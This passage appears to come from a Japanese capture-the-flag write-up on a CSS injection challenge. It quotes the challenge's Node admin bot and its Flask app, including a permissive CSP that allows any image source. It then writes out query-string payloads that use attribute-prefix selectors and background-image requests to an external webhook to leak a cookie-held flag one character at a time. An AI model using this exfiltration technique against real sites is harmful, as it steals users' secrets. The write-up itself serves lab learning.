visit() を呼んでいる
// ...
app.post("/api/report", async (req, res) => {
const { path } = req.body;
if (typeof path !== "string") {
return res.status(400).send("Invalid path");
}
const url = APP_URL + path;
try {
await visit(url);
return res.send("OK");
// ...
const FLAG = process.env.FLAG ?? "Alpaca{DUMMY}";
/^Alpaca\{[A-Z]{1,6}\}$/.test(FLAG) || (() => { throw new Error("Invalid FLAG format"); })();
// ...
export const visit = async (url) => {
// ...
const page = await browser.newPage();
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: new URL(APP_URL).hostname,
path: "/",
});
await page.goto(url, { timeout: 5000 });
// ...
app.py@app.after_request
def set_csp(response):
# CSP Specification: <https://www.w3.org/TR/CSP3/>
# ...
response.headers["Content-Security-Policy"] = (
"default-src 'none'; "
"script-src 'none'; "
"style-src 'self' 'unsafe-inline'; "
"object-src 'none'; "
"base-uri 'none'; "
"frame-ancestors 'none'; "
"frame-src 'none'; "
# This might be a good idea for exfiltration ;)
"img-src *; "
)
return response
INDEX = """
# ...
<style>
artwork
</style>
</head>
<body>
<div class="artwork-container">
<div class="plaque plaque-top">
<span class="flag" data-flag=" flag ">Flag: flag </span>
</div>
@app.get("/")
def index():
artist = request.args.get("artist", "bubu")
title = request.args.get("title", "my best friend")
artwork = request.args.get("artwork", "\n".join(open("./static/example.css").readlines()))
# Flag format: Alpaca{[A-Z]{1,6}}
flag = request.cookies.get("FLAG", "Alpaca{DUMMY}")
return render_template_string(INDEX, artist=artist, title=title, artwork=artwork, flag=flag)
FLAG が入ってくるパターン
unsafe-inline が許可されているし、 img-src に至っては任意である
?artist=bubu&title=hello&artwork=.flag%20{%20background-image:url("my-webhook-site?flag=" attr("data-flag"))%20} は動作しない
data-flag 属性を利用することにする
Alpaca{DUMMY} を持っているページに以下を与える/?artwork=.flag[data-flag^%3D"Alpaca{D"]{background-image:url(<https://my-webhook>)}
data-flag^=”D” にマッチする .flag があれば背景画像を設定するので、その際に url の取得が実行される